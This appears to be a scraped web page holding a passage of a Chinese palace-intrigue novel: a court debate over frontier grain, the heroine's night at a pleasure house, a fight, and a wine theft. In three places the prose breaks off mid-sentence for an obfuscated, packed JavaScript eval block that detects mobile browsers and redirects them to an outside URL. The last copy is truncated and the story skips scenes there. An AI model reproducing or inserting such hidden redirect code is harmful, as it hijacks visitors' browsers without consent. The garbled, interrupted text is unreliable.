此时,伯喻站了出来,朗声道:“父皇,儿臣有话要说。”这个节骨眼上,谁站出来都担着风险,杨柯的心不禁吊了起来。不过伯喻的身段儿着实好看,施起礼来也赏心悦目。只听他不疾不徐道:“宫、田二位大人提醒章家父子担责无可厚非,可战事之败并非一人一时之失。父皇选他们是看重其才忠,如今失利虽需反思,却不能归咎一人,更不可累及父皇。父皇登基后一心解决西北边患,百姓得以安居乐业近二十年。此等功绩,古来罕见。今西北战事连连失利,实属天意,非人力能敌。父皇已尽人事,不必自责。儿臣以为,章家父子需担责,也应给他们改进机会。” 此言一出,殿内的紧张气氛一扫而空。皇帝的脸上虽然并未见到喜色,但原本铁青的脸已是缓和了许多,“不错。那你认为应该如何应对?” 伯喻接道:“儿臣掌管户部,深知如今朔州战事胶着,关键在于军粮。近日因天气阻碍,军粮运输迟迟拖延,但儿臣以为,即使运输及时,前线士兵也未必能够吃饱。” 皇帝面色骤变,厉声道:“此言当真?”军粮断供之事乃兵家大忌,没有想到的是,现下的问题不仅是运输之难,还有更大的毛病亟待解决。 兵部尚书白韬忽而拱手而出,抢先奏道:“陛下,臣有一事不得不奏。上月滁州连发大水,农田受损严重,粮食大幅减产。而我朝向滁州订购之粮,不仅量少,而且价高。如此情形,对于军粮供应无疑是雪上加霜。” 皇帝停下了来回的脚步,“郑仪,你们户部怎么说?” 伯喻身侧的老头应声上前道:“陛下,兵部军粮难购一事我们已经知晓。” 白韬揶揄道:“知道了可不等于解决呀,要是户部不能及时拨款,前线士兵们还是没饭吃,这不伤了陛下爱民如子之心吗?” 郑仪硬着头皮道:“陛下,微臣有苦难言呐!近年来,国家开支浩繁,户部虽竭力筹措,但军粮乃常年花销,财力终归不支。”杨柯在逸韵诗会上见过郑仪,这人作诗挺有一套,不过听师父说办事不如作诗,也不知道怎么升至户部尚书这样的肥差上。 白韬又道:“前线战事未平,花销在所难免。照郑大人的意思来看,咱们大夏的仗也不要打了?” 皇帝的脸色因焦灼愤怒而愈发难看,双目怒睁道:“平日里个个能说会道,一碰到事就当起缩头乌龟,要不朕把你们九族全都送到前线种地去,也省得在这为难!” “陛下息怒!”众臣纷纷跪倒在地,屋内气氛重又紧张了起来。 宇文泰迅速反应道:“父皇,当下可从他处州郡紧急调配粮食以解燃眉之急。据儿臣所知,雍州、越州两地分别存有一万石余粮。不如即刻传旨,命人联系两地粮官,让他们火速将粮食运往前线。” “羲王殿下果真办事利索,咱们还没弄清楚军粮出了什么问题,便早早想到解决办法了。”易望林站了出来,声音不紧不慢,“陛下,扬汤止沸,不如釜底抽薪。此事积弊已久,非一朝一夕可以解决。臣以为,当下粮食短缺、运粮拖延皆为表象,只有建立完备制度才是解决问题的根本之道。臣建议,设立专门督粮官一职,负责统筹调度粮食事务。再者,兵部、户部有什么难言之隐,这次索性也一并全说出来。陛下一向圣明,洞悉朝堂诸事,定能保我朝民生安稳、边疆无忧。”他语速虽慢,但气势却笼盖四野,一时之间竟无人敢作声。 公孙不知是感叹还是讽刺,忽然评论道:“要论场面话,还是这位最擅长。” 杨柯试探问道:“易大人是两朝老臣,他很厉害吧?” 公孙冷冷道:“厉害是厉害,但他的厉害总是挑着时候来。” 杨柯还没弄明白她的话中之意,却听皇帝赞许道:“易先生所言极是。”他扫视群臣,最终落于户部尚书郑仪身上,“督粮官一职由户部牵头设立。户部掌管国家钱粮,对此事责无旁贷。” 郑仪正欲开口接应,宇文泰反先奏道:“前线战事紧张,兵部责无旁贷。此事兵部亦当承担重责,儿臣愿与户部共同设立督粮官,协同办理军粮事宜。” 郑仪欲驳回宇文泰的提议,又听伯喻抢先道:“二哥所言极是。户部虽掌钱粮,但前线战事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277028|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬息万变,兵部对前线需求更为熟悉。督粮官一职当由兵部任命,户部当协助兵部,确保军粮供应无虞。” 杨柯见郑仪两次开口皆被阻拦,疑惑道:“为何伯喻也要帮着兵部说话,若督粮官归到户部,他们岂不是更好办事?” “既然兵部主动揽下这活儿,户部顺水推舟,从旁协助就好。这么做既能减轻自身负担,又能避免被陛下问责,何乐而不为?” 皇帝颔首一笑:“既如此,朕便依了你们。督粮官由兵部设立主导,户部协助。泰儿,喻儿,你们要齐心协力,确保我大夏前线士兵的安危。” 二人齐声道:“是!” 会谈结束后,杨柯垫着脚、昂着头在一众蓝绿中搜寻着伯喻的身影,却一把被公孙瑶拎了回去,“你再往前够够,就要跪到陛下跟前儿去了。” 杨柯笑嘻嘻道:“我这不是关心朝政嘛。” 公孙点头道:“那你可发现方才有什么特别之处?” “好像问题皆由兵部提出,最后解决也落到兵部头上。” “不错,兵部借此牢牢把控了军粮。” “兵部不是本就掌管军粮运输?” “督粮官若落到他人手中,他们还能管吗?” 杨柯这才明白其中缘由,又转念一想,军粮向来是战事的重中之重,可军中如何能不断粮也是历朝历代皇帝最头疼的事情之一,“为何大夏打了那么久的仗,还有如此丰富的存粮?” 公孙一字一句道:“因为水利完备。”她见杨柯一脸疑惑,继续解释道,“大夏缘水而兴,境内渭河、踽河贯穿全境,治理好此二河,便是守护好国家的根基。要说到这个,还真亏了伯喻。”她话里煞有介事,“别看他年纪虽轻,但在朝中是个不容忽视的存在。” 听到公孙这般夸赞伯喻,杨柯心内窃喜,面上却故作疑惑之态,想探得更多细节:“如今宣王殿下不是才二十岁?” “是啊,当年他接手工部时刚满十五,虽有易大人鼎力举荐,但朝中老臣皆自持资历深厚,对其年少登此要职,心内多有不服。于是当朝便诘问其治国之要,伯喻只说了一句,‘但劝农业之兴,莫夺农时之要;且行轻赋之法,勿竭民众之财’。” “众人听了是什么反应?” “这般大道理,那帮老头子听得多了,权当虚言套话,再说了,要是真的轻徭薄赋,柔然的仗还怎么打?谁能料到,伯喻竟真的一一践行。” 杨柯的好奇心全然被勾了起来:“那他如何做到呀?” “兴修水利,提高粮产。彼时他提议在雍州修建江堰,朝中不少大臣公然反对,国库本就不充盈,哪还有巨额钱财拿去修堰?结果伯喻竟亲自前往雍州,向当地的富商豪绅晓以其利,竟然还募得了不少金银,这江堰才得以建起,短短几年,雍州的地价便因江堰翻了数倍。这一个地方吃到了甜头,其他地方也纷纷效仿,整个大夏的水利系统也才慢慢搭建起来。” “朝中其他大臣难道不知道这个办法?” “看起来简单,做起来难。三年前他主持修建雍州的江堰,陛下命我跟他对接,可是把人累坏了。” “为何?” “他这个人呐,做人倒是和和气气,但做事却严苛得不行,不仅定下了每年清淤的规章制度,甚至每把石标尺的尺寸都定得明明白白。下面的人哪里会注意这个,刚开始建的时候,饶是审批的文书都来来回回倒腾了十几次,就因为差了几毫厘。” 杨柯心中一边感叹伯喻治国之才,一边为他感到欣喜自豪,视线一偏,才发现公孙正饶有意味地斜睨着自己:“看来阿柯是被伯喻的才华倾倒了。” 她脸色一红,忙找补道:“宣王殿下如此才华横溢,不止是女子,只要是大夏子民皆感恩戴德吧。” 公孙心下了然,而后笑道:“那倒是。” 杨柯忙转移了话题:“还有件事想请教请教大人,这几次的运粮皆遇到拖延的问题,但是书册上记录的缘由都交代得含糊不清,不知是何故?” 公孙皱眉道:“不应该啊,羲王向来办事清楚明白,怎会容忍下面的人出现这样的问题?” 杨柯笑道:“大人先别急着犯难,我已经拜托了江湖上的朋友帮我打探消息。” 她眼睛一亮:“哦?” “到时候就等着我的好消息吧。” 19.饕餮 太阳刚落山,林骞的消息便送进来了。杨柯兴冲冲地打开来看:“军粮迟滞,缘为粮道数关卡骤添繁缛手续,至于手续突增之故,涉多方利益,盘根错节,一时难明,小柯勿忧,静待佳音便好。” 将将读完,杨柯的眉头瞬间拧成了个疙瘩,在屋内来回踱步,脚下的青砖被踩得 “哒哒” 作响。她心里一点儿也不痛快,这逍遥居向来神通广大,此番耗费人力物力去查,怎就只得了这般浮于表面的消息?莫非背后隐匿着更深的隐情?林骞有意隐瞒,亦或是他也被蒙在鼓里?正想着,乐白的声音闯了进来,“阿柯,你在想什么呢?” 杨柯心里“咯噔”一下,面上却不动声色,脑子飞速一转,随口扯了个幌子:“嗐,还不是尚书局那些事儿,天天忙得脚不沾地,活儿干不完不说,人都快憋闷死了。” 乐白嫣然一笑:“你不是能出宫吗,这等烦恼还不好解决?” 杨柯心尖一抖,暗叫不好,赶忙拉近她道:“小白,你可千万别把此事透露出去,不然我和云昌吉就全完了。” 乐白的眼里暗了暗,旋即又亮起:“若要我保守秘密,那你也带我出去玩一回!” 杨柯和乐白乔装成男子模样,走在大街上。乐白兴奋地东张西望,一会儿到这个铺子看看糖人,一会儿到那个店里闻闻胭脂,两人走完一条街,?愣是花了整整一个时辰。终于到了紫英阁,门口的铨儿见了杨柯,立刻欢颜迎接:“哟,杨公子,”瞧见她身边的乐白,更是眼睛一亮:“这位公子是第一次来吧,瞧着面生。” 杨柯介绍道:“乐公子此番自越州远道而来,专程到京城公干。听闻紫英阁声名远扬,特地要我带着他过来瞧瞧。” 铨儿脸上笑容灿烂:“多谢二位公子抬举!乐公子莅临,我们紫英阁是蓬荜生辉,今晚上定不会让二位爷失望。” 杨柯听他这嘴皮子愈发伶俐,回想起仅仅才过去短短几十天,心中不禁暗叹,红娘调教人的本事当真厉害。 乐白眨着亮晶晶的眼睛,冲着铨儿问道:“你们最好喝的酒是什么?” 铨儿接道:“乐公子好品味,要说起我们紫英阁,除了美人之外,就是美酒最闻名了。桃花酿、乔家白,您想喝什么咱们这儿都有!” “杨公子,您今儿可算来了!都盼您好久啦!”元英的唇上新抹了口脂,如同春露一般娇艳欲滴。 “近日公务缠身,脚不沾地,这不刚一得空,便马不停蹄赶来了。” 乐白瞅了杨柯一眼,旋即捂嘴偷笑起来。 元英注意到她身旁的乐白,腰肢一旋,飘到她跟前,“这公子好生俊俏,今日是头回来吧。” 乐白朝她笑着点头。元英打量着她,虽然嘴上笑着,但眼底已没了笑意。杨柯担心元英看出点什么名堂,忙问道:“红娘在哪?芮伊还在吗?” 元英嗔怒着推了她一把:“好你个负心汉,每回过来都只问红娘,如今有了芮伊,把我元英彻底忘了。” 杨柯忙堆笑:“好姐姐,今日特地带了朋友来,自然盼着能享一场盛情款待。我寻思着,不如劳烦红娘,为乐公子细致介绍一番紫英阁的珍馐美酿,若再有芮伊姐姐的舞曲助兴,岂不是锦上添花?” 元英没好气道:“妈妈在楼上呢,等会儿就来。” 杨柯奔向二楼,红娘正站在几名乐姬跟前,一边戳着她们的额头,一边厉声道:“这么重要的曲子,竟然还会弹错?我真是白养你们了!” 一名乐姬反驳道:“妈妈,那是霓裳羽衣曲,我们都不曾见过真曲,哪里会弹?” 红娘反倒更怒:“不会弹?不会弹你不会学吗?哪来的借口?!” 几名乐姬的脸颊羞红,泫然欲泣。 “没几日便要演出了,若你们再学不会,全都赶出去讨饭吃!” “红娘。”红娘听见杨柯的声音,怒气瞬间收起,回身展颜一笑:“哟,杨公子来了!”一面摆手屏退乐姬。 杨柯目光追随着她们远去的背影,轻声感慨道:“方才进门时那铨儿照顾的十分周到,我当时便想红娘果真是教人有方,正纳闷着到底是什么妙法,这不,转眼就瞧出端倪来了。” 红娘嘴角含笑,轻轻推了杨柯一把,嗔怪道:“你还真是谦虚,同我学什么,紫英阁不过是个小地方,哪能劳动你这等贵人费神。这些琐碎事儿,交给我打理便是。” 杨柯试探问道:“那些乐姬犯了什么错?” 红娘翻了个白眼:“一首霓裳羽衣曲学了不下百遍,到现在还弹不会,我看她们往日里学的那些曲子全都被狗吃了!” 杨柯安慰道:“这首不会还可以换别的,何必死磕。” 她蓦地直起身子来:“杨公子,这种玩笑可开不得,霓裳羽衣曲若不能推广,那紫英阁未来便要叫玉仙楼超了去。”说着长叹一口气,“如今啊,生意是越来越不好做了,京城的酒楼里也就我们和玉仙楼还苟延残喘着。这世道呀,反而是发国难财来得好。” 杨柯头一回见她如此垂眉丧气,不禁问道:“为何这么说?” “越州来了个粮商,真真是有钱得狠。每回来紫英阁啊,要不就是包下整层雅间,摆上珍馐美馔宴请宾客,要不就是点上所有头牌,让她们一整夜一整夜地唱曲儿,就为了博自己一笑。你说说,我能看着不眼馋?” 杨柯听到粮商,心下猛地一紧,表面上却神色如常:“紫英阁有这么豪气的客人,还愁没钱赚?” 红娘一听,摆摆手:“哪里够?我这开销大,又要养着这么多姑娘,还有各方的打点,来一两个豪客,不过是杯水车薪罢了。” 杨柯目光微闪,继续追问:“这人来京城做什么?” 红娘警觉地左右张望,见周遭无人,才压低声音道:“他呀,包办了军粮。” 杨柯顺势道:“包办军粮?这么大的生意,想必有些手段。最近军粮运输似乎出了些状况,我正愁没线索。红娘,你这儿三教九流的消息灵通,不如帮我打听打听此人?” 她的脸肉眼可见地垮了下来,低声苦道:“杨公子,调查芮伊倒是可以,但这事可没那么好办了。” 杨柯奇道:“这人什么来头?” 红娘抚了抚额:“江老板虽出手阔绰,可背景深着呢。每次在紫英阁向来只留个假名,打听多了,我怕惹祸上身,实在不好帮你这个忙。” 杨柯闻言拍了拍她的肩膀:“红娘莫急,不过是查查他的行踪,哪里会触怒到江老板。” 她意味深长地道:“办倒是能办,不过我在越州人脉有限,若要把他查个底朝天,怕是得费些时日,也得多花些银钱打通关节。” 杨柯自然明白她话中之意,从袖中掏出一袋银子,递到她手里:“红娘一向说话算话,在下就拜托姐姐了。” 搞定了此事,杨柯一身轻松,施施然地走回枕流轩,准备和乐白一块儿逍遥。 一走进厢房,她被眼前的景象惊得钉在原地:各类菜肴层层堆叠、满满当当,从点心到羹汤,再到大鱼大肉,密密麻麻摆满各个角落,数量多得数都数不过来,粗略一看,怕是有上百道都不止,简直比满汉全席还要满汉全席。这下子红娘倒是不用愁没钱赚了。不过更离谱的是,美食当中还塞进了三个醉美人。醉美人的衣服快要褪到腰上,巨大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289168|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸脯从衣裳里跳了出来,白花花的一片直晃的人犯晕。而当事人乐白正歪坐在椅子上,两眼迷离,双手高高举起酒壶,仰着头往嘴里猛灌,嘴里不知道在嘟囔着什么,腮帮子随着说话的节奏一鼓一鼓,活像个母猴子。 杨柯赶紧大步上前,跨过横在中间的玉体,夺下了乐白手中的酒。 “你疯了,乐白?为何要点这么多菜,我们根本吃不下啊。”杨柯又指着横躺着的三人,“她们是怎么回事?” 乐白醉醺醺地回道:“云昌吉吃过的东西,我都要吃一遍。” 杨柯一个头两个大,怎么把这个醉鬼带回宫又成了新的麻烦。 正犯着愁,忽听见门外一道娇滴滴的女声:“云公子,今晚芮伊唱的曲儿可还顺您心意?” 云公子?云昌吉?杨柯下意识循声望去,虽然帘后之人身影朦胧,但隔着门帘她也能认出来那人必定是云昌吉。 她将乐白扶向一侧,赶紧喊道:“云昌吉!”对方循声转头,一脸震惊地看向她,几步飞来,开口便是“你也跑出来了?” “我也想问你同样的问题。”杨柯抓起他的手臂,把他拉进了屋里。 不出所料,云昌吉的视线刚一触及眼前的春宫图,便像是被施了定身咒,整个人僵在原地,嘴巴张大得足以塞下一个鸡蛋。 杨柯冲他点头:“你没有看错。” “乐白……她……”云昌吉已经语无伦次,呆滞的眼中竟然还带有一丝哀伤。 杨柯本以为他夸张的反应只是因为眼前这一幕太过香艳,忽然又想到平时这呆子虽然看着愣愣的,但一旦开悟便会走向另一个极端,指不定搞错了这房内四人的真正关系,忙解释道:“你别多想,这三个姐姐是我叫来的。” 云昌吉缓缓地回头,眼睛里已不见忧伤,反而是意料之中的了然和一副我懂你的神秘微笑。 杨柯无语,懒得同他再解释。“好了,你把郡主带回去吧。” 云昌吉笑着点头,麻利地将乐白从满地的美色中背了出来,途中经过杨柯时拍了拍她的肩膀,好像在说:“好好享福吧。” 杨柯没理他,目送他将醉倒的乐白抬上了回宫的轿子。 过了一炷香的功夫,醉倒的乐白终于睁开双眼,在轿子里旋视了一圈,迷蒙地问道:“阿柯在哪儿?” 云昌吉见她醒来,柔声道:“她还在紫英阁,先让我们一齐回去。” 乐白听言点头,突然又想起了什么,皱着眉头,生气地别过脸去。 昌吉被她的反应搞得云里雾里,挠了挠头:“乐白,你是不是肚子疼?”说完,便拿起边上的醒酒汤递了过去。 乐白微侧过头,看了他一眼,犹豫了一瞬,还是接过碗喝了下去。喝完她淡淡问道:“昌吉,你知道爱情是什么感觉吗?” 云昌吉看她粉颊犹自带着酡红,心里涌起一阵怜惜,心尖也跟着轻轻发颤。呆了几秒,回过神来,忽然朝她的脸亲了上去。 乐白也被亲得呆住,反应过来后大叫道:“我问你什么是爱情,又没让你亲我啊!”作势就要朝云昌吉身上打过去,他反应倒是快,赶紧回身躲避,但又故意稍微放慢了速度,让乐白的手实实地落到身上,自己却一声不吭。 乐白见他安安静静地承受着,心又软了下去,方才握着的拳头变成了绵绵手掌,轻抚着云昌吉的背,低声问道:“疼不疼啊?” 昌吉摇了摇头,回头望着她:“不疼,乐白打的都不疼。” 乐白听了,心里的气瞬间消失,方才泛着火气的眸子又化成了潋滟秋波。她举起粉拳,一脸坏笑道:“那我再多打你几下咯!” 20.意外 送走了乐白和昌吉,杨柯径直回到厢房,掰了掰躺在地上的三名乐妓,好不容易腾出一块空地,一屁股坐了下去。她四顾一眼,桌上方才乐白点的酒才喝了三盅,还剩下十壶,这下岂不是喝个够?她随手拿起一壶便往嘴里灌,一阵眩晕冲进天灵盖,杨柯满意地闭上了眼睛,这么多天,终于能够彻底放松下来了。她的脑海里忍不住又开始浮现伯喻的样子。她虽然从小和云昌吉厮混在一起,性情并不似闺中女子那般柔情细腻,但伯喻却是第一个让她如此牵挂的男子。自从七夕那晚开始,她的心思就仿佛西洋钟表上那根长长的指针,只知道傻傻地围着他这根时针一圈圈地打转。 她端凝着手里的酒杯,脑子里浑浑沌沌地想,自己到底喜欢他什么呢?掏心窝子来说,她对他并非一见钟情,既然不是一见钟情,那就不是全当为色。因此,一半为人,一半为色。但杨柯觉得,无论是人还是色,伯喻皆当得起头筹。念及此,心里不由得美滋滋,于是又往嘴里灌了口酒。 忽然房外传来一阵喧闹,她在晕眩中努力支起身子,撑在门口向闹事处望去。几个男子围在芮伊的房前吵吵嚷嚷,红娘在一旁手舞足蹈,拦着他们不让进门去。 杨柯摇摇晃晃地走过去,她一把将身前的男子推开,那人一张马脸霎时皱起,扯过她的衣领,大声吼道:“你是哪里的小子?竟敢推老子?” 杨柯酒壮怂人胆,直视着他道:“我是当朝宣王爷,你是哪儿来的杂碎?” 红娘见状赶紧过来劝架:“二位爷,二位爷,今日是怎么了,怎么一个个地火气都这么大!元英,拿点冰酿来给二位爷消消火儿。”又拉着杨柯凑近道:“这几个是京城东街坊有名的地痞,今日被芮伊吃了个闭门羹,脸上挂不住,杨公子你快消去招惹啦!” 那马脸男仍是不依不饶:“你算什么王爷,”轻蔑地上下打量着她,“小子,你今天不给老子跪下道歉,信不信老子现在就把你扔下去!” 杨柯装作求饶:“吓死我了,爷饶了我吧!” 他见杨柯的气势一瘪,立马冒出□□,“哟呵,长得倒是俊俏,是不是哪家小姐偷偷跑出来的?”刚走上前要拍她的脸,杨柯猛地踹向他下身,马脸顿时爆发一阵驴叫。 杨柯冷哼一声:“想占我便宜,就凭你?”话音刚落,她突觉身体一轻,整个人竟被提到了半空中。 “啊——”她惊恐大叫,试图靠这喊声威慑对方。可他人多势众,又一贯嚣张,哪里会在意这些。 眨眼间她便被拎到一个强壮如狗熊的壮汉身前,这人高出她整整一个头,黑黑的气压从头顶倾盖下来。 “你是打哪儿来的?”狗熊男开口问道,声音恍若闷炮一般。红娘在边上劝得快要口舌生疮,可这狗熊仿佛自带一层结界,把杨柯和他二人彻底和附近隔绝开来。 杨柯一颗心提到了嗓子口:“大爷,我就是个小商贩子,您……”话还没说完,身后的门忽地打开——“王公子,俗话说打狗还得看主人,您随随便便就在紫英阁里动手,是不是失了点儿礼数?” 在场的男子见芮伊终于露面,眼睛就像饿狼见了肉一般直冒精光。这狗熊当然也不例外,可他的手仍不放松,杨柯被他扯得喘不过气来,小脸越憋越红,索性使劲咳嗽起来。 “既然芮伊姑娘放话,哪里有不听的道理。”狗熊一双眼睛像生了根似的,直勾勾地粘在芮伊脸上,说话间手却忽地松开,杨柯哪料到他出这阴招,猝不及防地直直往下坠去,竟被另一只手稳稳接住。 她抬头一看,是个白衣男子,心里又不禁一荡。此人长相虽不如伯喻,但通身的气派却与他不相上下。是自己吓懵了,还是眼花了?难道是她思念成疾,见着一个白衣男子就当成伯喻喜欢上了? “王大人真是好身手,再晚一点儿,恐怕舍弟就要横尸在紫英阁的门前了。”此人声音竟也和伯喻的相差无几。 那狗熊仰天大笑:“原来是你啊。周公子美名在外,我说今晚芮伊为何闭门不出。”说完脸上笑容瞬间消失,露出凶光,“你真当自己风流倜傥,还能霸占了芮伊去?”说着便拍掌而来。 杨柯正欲张口惊呼,忽感到腰间手臂一个用力,登时便被带着越出栏杆,飞到了十丈之外。 “王公子是不是弄错了,芮伊乃是紫英阁的人,何时成在下的了?”即便手里有杨柯这个拖油瓶,他的脸上仍旧优雅带笑。 狗熊见偷袭不成,恼羞成怒:“你休想狡辩,今天就把你这小白脸儿打成落汤鸡!”说完便大喝而来。 周公子低头对杨柯柔声道:“阿柯,你先到红娘边上去。”说完便放开了她,抬起折扇迎了上去。 杨柯一面痴痴地瞧着此人,一面狐疑不决,自己与他素未谋面,他怎会知道自己的名字? 那狗熊口里骂得地动山摇,挥起长刀狠狠劈来,只见周公子脚尖轻点地面,身子一飘,侧身掠过狗熊,同时右手食中二指并拢,直点对方持刀手腕的“阳池穴”。这一指又快又准,狗熊只觉手腕一麻,长刀当啷一声掉落在地,疼得他哎哟直叫。 两个狗腿子见大哥占了下风,也撸起袖子加入了战局。杨柯一看,这三打一,周公子岂不是处于劣势?她今晚本就一股热乎劲儿使不完,于是扯着嗓子大声斥道:“姓王的,你算什么男人,居然以多欺少!芮伊怎么可能看得上你!”被她的话激中,那狗熊登时转头对着她强攻过来。杨柯赶忙抬脚逃跑,一个闪身就窜到了楼顶。狗熊见追不上她,气的一掌将桌子打烂,底下望着的红娘心疼大哭。 剩下两个地痞一个举刀下劈,一个横刀平削,对着白衣呼啸而去。白衣男子如鬼魅般翩然一转,左手顺势抓住下劈短刀的刀背,右手则屈指成爪,轻轻一抓,竟将平削而来的短刀刀身稳稳抓住。“咔嚓” 两声,两把短刀竟硬生生被他折断。那两个地痞惊得目瞪口呆,还没等他们反应过来,公子飞起两脚,正中两人胸口。这两脚看似轻飘飘的,却将两人踢得向后飞出数尺之远,重重地摔倒在地,半天爬不起来。 见这三人被打得服服帖帖,倒地哀嚎,杨柯心里别提多高兴了,笑嘻嘻地凑上前去,大声道:“王大哥,小弟还等着看您大展身手呢,怎么,才刚开始就当着大家的面跪下了?” 那狗熊双目圆瞪,猛地抬手要来抓她。杨柯吓得一个激灵往后退,身旁的周公子劝道:“不用同他们多费时间。”说完便掏出一个钱袋,递向红娘,“这是今晚的赔偿,我和杨兄礼数不周,还请红娘见谅。”说着对红娘交手行了个礼。 红娘一时没反应过来,忙道:“周公子,你也太客气了。”但手还是听话地将钱袋揣进了袖袋里。 他浅笑颔首,转身离开,杨柯也跟着他走了出去。 夜晚的凉风吹到脸上,将方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许久都未听到他的回应,杨柯好奇地抬眼去瞧他,而伯喻正意味深长地凝视着她,伸手揽上她的肩,轻声道:“阿柯,我知道你向来与红娘交好,可如今紫英阁并非太平之地。今晚的遭遇就是个教训,日后还是少来为妙。” 杨柯心里一酸:“为何?难道就因为紫英阁是烟花之地?” “是,也不全是。我敬重红娘侠义肝胆,能容纳天下薄命佳人,但其间鱼龙混杂,最容易成为危险势力的藏身之地。所以,我担心你会被暗处的势力误伤。” 杨柯呆呆地望着他清澈的眼眸,那一双眼里写满了关心和温柔,也许是酒意作祟,她贪婪自得地享受着老天赐予的短暂眷顾,随即脑子一热,问道:“那你呢?你来不来?” 伯喻倒也没太惊讶,面色沉静道:“若非必要,我当然不会来。” 杨柯脆声道:“那就是说,还会来咯?” 伯喻也像是喝醉一般,卸下了平日的礼貌和疏离,伸出手指刮了刮她的鼻尖,薄怒道:“是啊,但若下次再碰到你,我定要把你直接抓回翠微殿去。” 一缕松香瞬间包裹住她的鼻腔,眼前伯喻的笑颜恍若夜里开出的昙花,杨柯的心跳瞬间漏了一拍。 伯喻见她又呆望着自己,低笑一声,眼里却盈满了笑意,提起脚步继续往前走了。 杨柯这才回过神来,赶紧快步追上他,伯喻也放缓了本就不快的步伐,两个人肩并肩地走向宫门。 21.瑞麟殿 回到凌薇苑,杨柯心情大好,疾冲去酒柜寻酒来喝,结果酒柜里空瓶哐啷,她大失所望。忽而想起前几日乐白提到宫中的酒膳坊,许是今晚波折不断,她的胆子也大了起来,冒出了偷酒的念头。她趴在门缝往外探去,只有个值夜班的小内监在门口打瞌睡。于是回去换上遁光衣,轻手轻脚地出了门,往云昌吉所在的武华殿奔去。 武华殿内,烛光摇曳,东厢的瑞云阁里,云昌吉正呆呆凝视着桌上的卷轴。杨柯轻轻推开窗户,闪身一跃,落在地上,蹑手蹑脚地走向云昌吉的书桌,一把便将他手里的卷轴抽了过来,“大半夜的不睡觉,又在研究什么宝贝呢?” 云昌吉抬头一看,见是她,随即喜出望外道:“诶,你回来了?来的路上可没叫人瞧见吧?” 杨柯斜睨他:“若是叫人瞧见,我还能站在这里跟你说话不成?” “那就好。”云昌吉一脸神秘,“阿柯,你是如何出宫,又如何回来的?” 杨柯想起方才和伯喻的事,脸上忽地一红:“我还没问你怎么出去的呢!” 云昌吉疑惑道:“诶,你的脸怎么这么红?乐白点的酒全让你给喝啦?” 杨柯被他逗笑,心里也松了口气,余光瞥见桌上卷轴画着一名女子,看其长相和郡主倒很相似,于是调侃问道:“昌吉,这是哪家的妹妹?” 云昌吉脸忽然一红,磕磕巴巴地道:“我昨日做梦梦到的。” “害羞什么呀,我早看出来了。” “你……你可别跟乐白说,我怕她生气。”云昌吉将桌上的卷轴合上,卷轴底下的一块玉佩露了出来,杨柯视线落去,青绿色的玉佩泛着幽光,上面还有鹰隼的图案,这不就是逍遥居的图腾? 她刚要开口询问,便见云昌吉一把将卷轴拖了上来,盖住了玉佩,“你半夜来我这不会是跟我闲聊吧?我可没兴致。” “当然不是。”杨柯故作神秘地靠近他,“我前日同乐白聊天,得知了个好玩意儿,想不想听听?” 云昌吉眼睛一亮:“什么好东西?” 杨柯环顾四周,确认无人后,才缓缓开口:“酒膳坊藏了几坛上好的玉泉酒,但玉泉酒所在的地窖在酒膳坊深处,不好找,不过那可是珍馐之品,只有宫中宴会之时才能喝到,同咱们以往喝的可是绝然不同!今晚咱们就去把它找出来如何?” 云昌吉听完爽快答应,两人一前一后溜出武华殿的外墙,朝着酒膳坊的方向行去。从少年开始,他们便常常跑去京城各个官宦家中搬运美酒佳酿,溜门撬锁已是家常便饭。两人轻手轻脚地进入坊内,四处找着通往地窖的地下通道。但寻觅了半天机关的痕迹,都并未找到入口。 “有没有地窖哇?你莫不是又弄错了?” “明明就是这里啊?” “谁在屋里?”一道尖利而响亮的声音响起,多半是酒膳坊的公公起夜听见了动静。 两人心中一紧,对视一眼,“分头跑!”云昌吉迅速吹灭烛火,掷起一坛酒往西边一扔,刺耳的响声立刻吸引刚来的追兵,他随即一个翻身跃出窗户,消失在夜色中。 “跑得真快!”杨柯咒骂道,说着身形一展,朝着另一个方向跑去。正当她刚刚攀上另一座宫殿的房檐时,一个侍卫突然在底下大喝一声:“站住!”竟然还有几个侍卫在这里守株待兔,杨柯一个情急直接翻墙跃进了面前的宫殿,身后的追兵见她跑了进去,竟堵在门外不敢进来。杨柯正感奇怪,视线一转,忽见壁上所悬巨幅图轴——那画虽已略显斑驳,却仍能辨认出画中人物栩栩如生。绘中少年皇子方七八岁,既有他骑马驰骋于草原之英姿,又有于花园中赏花对弈的优雅之态。 不过让杨柯奇怪的是,那皇子的长相不仅与宇文泰有五分相似,而且同林骞更是一模一样! 